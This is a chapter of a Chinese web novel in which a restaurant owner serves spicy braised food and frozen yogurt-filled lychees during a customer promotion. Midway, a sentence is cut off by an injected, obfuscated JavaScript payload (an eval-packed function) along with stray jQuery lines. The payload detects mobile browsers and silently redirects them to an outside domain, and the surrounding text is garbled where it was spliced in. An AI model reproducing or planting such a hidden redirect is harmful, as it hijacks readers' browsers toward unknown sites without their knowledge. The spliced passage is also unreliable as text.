64. 香辣卤味,酸奶荔枝冻

作品:《我在古代开自助餐厅

    门口的人很快动起来,萧悦直接让为首的几个人上前进店,来到店中刚才放好的两张桌前排队。


    一楼很大,方三红和苏筱筱已经将午食东西摆放好,份量皆比院子中的多。


    萧悦绕进两张桌子面对顾客,在前排人激动的目光下,打开身旁大木桶的盖子。


    水雾涌上,水蒸气凝聚在上层随着打开倾泻滚落,一股卤香味传遍了一楼。


    萧悦弯腰从桌下方拿出一个干净的大漏勺,朝着大铁桶中舀去。


    桶中汤水呈现深褐色,上面飘着少量油星和一大包卤味包,除此之外里面的各种食物经过一夜的浸泡又在早晨煮制,早已经充分入味。


    萧悦用漏勺捞起满当当一勺,另一只手拿上勺子接住底部汤水,将它们移动到桌上的盘子中全部倒了上去。


    一眼看去,食物种类应有尽有。


    鸭脖、鸭翅、鸭肠、猪皮、鸡蛋、豆腐块、莲藕、海带结、魔芋……甚至还有猪蹄和一块块肥瘦均匀的牛肉!


    这场面和这香味,瞬间让前排的人发出惊呼,后排的人直垫脚看来。


    萧悦一连舀了好几趟,直到桌上的盘子全部放满了食物,飘散着充斥鼻腔的卤香味。


    这就是萧悦早已经想好,且在昨晚制作出来的活动新品。


    五味俱全、口齿留香,万物皆可卤的——香辣卤味!


    卤味包萧悦早已提前在系统商城调配好,香料足足有二十多种,之后只需要提前熬好高汤,将肉类焯水,剩下就全部放进汤中卤制即可。


    一卤就卤了三大桶!


    当然除了这个,萧悦可忘不了昨晚累倒一片人的另一种新品——酸奶荔枝冻。


    这个冷饮制作起来比香辣卤味繁琐,需要一个个剥去荔枝外壳,在不损坏荔枝肉的情况下挖去果核,再用小勺子将酸奶填装进去,最后送去冷冻。


    好在荔枝个头大,且每个都是极甜,昨晚大家都尝过了,不枉累一遭。


    此刻萧悦便回过身,将一大盘酸奶荔枝冻从冷冻柜中取了出来。


    荔枝圆圆滚滚,原本晶莹剔透的果肉经过冷冻变成了米白色,而内部纯白的酸奶和它一对比更显浓郁,好像被包裹起来的珍宝一样。


    一边是香得人垂涎三尺的香辣卤味,一边是散发凉意味道清新脱俗,如同在卤香味中劈开一条路让人无法忽视的酸奶荔枝冻。


    前排顾客再也等不及,恰逢那个人就是带着学府新同伴前来的赵良,眼睛在两样东西中来回看。


    “萧娘子,这就是今天的新品吗!”


    “没错,让大家久等了。”萧悦一边说,一边用夹子取了酸奶荔枝冻放到盘子里递给他:“这是今日新品,酸奶荔枝冻,老顾客携带新顾客进店,皆可来此限量领取一份!还有……”


    萧悦紧接着换了另一个夹子,夹起软烂易切的卤味放到砧板上。


    鸭脖、猪皮、大肉块……毫不吝啬地被萧悦三下五除二切成小块,一并装盘递给赵良。


    “还有香辣卤味,同样是今日活动新品,搭配酸奶荔枝冻更加解辣!”


    赵良咽了下口水,连忙将酸奶荔枝冻递给身侧的新学子,自己伸出双手接过满满一盘卤味。


    一旁的新学子快看呆了,瞪着的双眼显然是在说:这么多?!


    萧悦一笑,开口道:“月汀自助夏季活动已经正式开始,二位,请拿上新品前去入座吧!”


    此话一出,还没等新学子反应过来,赵良就扯上他麻溜让开了。


    下一位顾客带着新面庞站上前,正巧又是老顾客,李雄。


    “萧娘子!老早就闻到这味了,一闻就知道对我胃口!”


    面对豪爽的人,萧悦自然不会让话掉下:“李大哥放心,保准你吃得爽快!”


    香辣卤味不光香,那辣味她估摸着也是继凉拌无骨鸡爪后这么久以来最辣的菜。


    不然怎么搭配上解辣的酸奶荔枝冻呢?


    这次萧悦同样切了满满一盘,考虑李雄的吃辣程度,她特地洒了一勺汤汁,看上去更加令人分泌唾液。


    “萧娘子懂我!”


    李雄擦了下口水,接过卤味和酸奶荔枝冻找赵良去了。


    下一位同样是老顾客,萧悦听她说多要些豆腐块,迅速切好递给了她。


    再下一位顾客上前没点要什么,萧悦就随意拿了,只是这位顾客旁的新顾客看着她切肉的速度,担忧而吃惊。


    下下一位组合奇妙,是个经常来店里年仅十二三的少年,带着自己新客爷爷前来,爷孙似乎拌过嘴,可当少年将卤味接过当场塞他嘴里后,爷爷不说话了。


    下下下一位……


    此刻一楼窗边。


    赵良和新学子忍着扑鼻的香味,耐心等李雄、刘蒙到齐才一起开动。


    第一口,几人不约而同夹上卤味。


    当那浓厚的味道触碰舌头,首先是汤汁的鲜美、其次是肉的软烂、最后就是辣和香的同时席卷!


    李雄眼睛一亮,忙不迭吃起第二口。


    对面的赵良和刘蒙亦然,只是两人不算太能吃辣,没一会儿就噘着嘴斯哈,一同吃起了酸奶荔枝冻。


    如今店里没有太硬的冷饮,这算是第一个。


    相比起绵绵冰的软甜,酸奶荔枝冻第一口就是硬,但不是咬起来费劲的那种硬,而是牙齿接触冷冻过的食物破开它的表层,随后酸奶的发酵味伴随荔枝的清甜,一同在口腔化开。


    这种感觉很奇妙,就好像吃上一口这个,清凉就从口腔蔓延,炎热全都被驱散。


    赵良和刘蒙对视一眼,皆在对方眼中看到了吃惊。


    不光刚才排队的热意消失,就连卤味的辣也被压下去一半!


    再看同一张桌上,跟着他们一同前来的两个新学子已经被辣得脸红冒汗,连忙将酸奶荔枝冻丢进嘴里,接着眼睛一瞪异口同声。


    “我又行了!!”


    赵良和刘蒙嘴角一抽,回想哭爹喊娘请他们来的时候得到过一句——


    “有啥好吃的啊,值得你俩天天去?”


    此时此刻赵良和刘蒙只想说,风水轮流转,今后别来的比他们还勤。


    不过勤不勤的暂时不知道,两个新学子只知道这香辣卤味太好吃了,这酸奶荔枝冻太爽了!


    两人闷头就是吃,再一抬头发现盘子里只剩下两个酸奶荔枝冻了,其他早就被吃完。


    两个新学子倒吸一口凉气,连忙夺过盘子。


    可他们吃了太多卤味,一个怎么够解


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736714|157351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辣,欲哭无泪就差跳脚,最后只能盯上卤味以毒攻毒。


    一整个一楼多的是这种场面,排队的人也源源不断。


    前排处。


    “萧娘子,我要个猪蹄!”


    萧悦剁得砰砰响。


    “萧娘子,我最喜欢莲藕了!”


    萧悦切得咔咔脆。


    “老板我要猪皮!”


    萧悦刀使的哒哒哒。


    “萧娘子我啥都要!”


    “萧娘子,我也是我也是!”


    “老板……”


    一直到第一桶见底,酸奶荔枝冻也快完了,萧悦说了句:“各位稍等,我去拿新的来!”


    说完她就放下刀,脱掉特意兑换的手套,推着第一桶卤味汤回到了后厨。


    未料再次出来,萧悦看到有几个人围在了桌子一边,他们并未打扰正常排队的顾客,但显然是有话要说。


    果然,她一过去就听见一个穿着学府衣服的人问——


    “萧娘子,我们明天应该还算是新人吧?应该还能被别人带着领一份卤味、一份酸奶荔枝冻吧?”


    萧悦:“?”


    不少人闻言看了过来,多的是新面孔的期待,老面孔的无奈,像是想说我不认识他们。


    萧悦迎着一双双新顾客清澈的眼睛,沉默片刻道:“活动持续三天,或许……你们可以带其他新人来。”


    话一出,笃定的说明了只要今日踏进店铺就是新人变老人,不能再被老顾客带领前来领取。


    什么!


    两位赫然在列的新学子天都塌了,瞳孔大地震,呜呜呜地回到了座位。


    赵良:“……”


    离远点。


    刘蒙:“……”


    真不熟。


    一时间,月汀自助中的新顾客们悲伤比天还高,比海还大。


    谁知道呢?


    本来新顾客以为这又是什么店铺的手段,哪里来的什么五十铜板通吃,还只要其中一人支付就行,肯定就是利用他们进行宣传,实则菜品难吃极了。


    可他们各个都是被亲友找来的,不好得拒绝,因此一路上心情非常微妙。


    进店闻到饭菜香,嗯,假的,流云城这种情况还少吗?


    看到卤味满当当,嗯,知道难吃肯定多给点,博取同情!


    一直到两种新品入口,嗯……嗯?!


    新顾客们傻了眼,回过神一看,带领自己来的老顾客早已经大吃特吃。


    他们来不及思考,连忙如同虎口夺食,开始抢了起来。


    可新品到底一样一份,不算太少可也不多,很快就见底了。


    新顾客早已经沦陷,怎么能忍受,于是凑着凑着,决定一起去问一问。


    最终结果就是——


    新顾客:“哪里还有新人,让我这个老顾客带一带!”


    这场景令人哄堂大笑,甚至有新顾客当场跑出去大街上找新顾客去了。


    别说,还真有一个成功的。


    那个新顾客排队半天,终于到了她,羞涩道:“咳,萧娘子,这是我刚才新认的妹妹,算吗?”


    “当然算。”


    萧悦忍住笑,给这对新认的姐妹送上一盘香辣卤味和酸奶荔枝冻。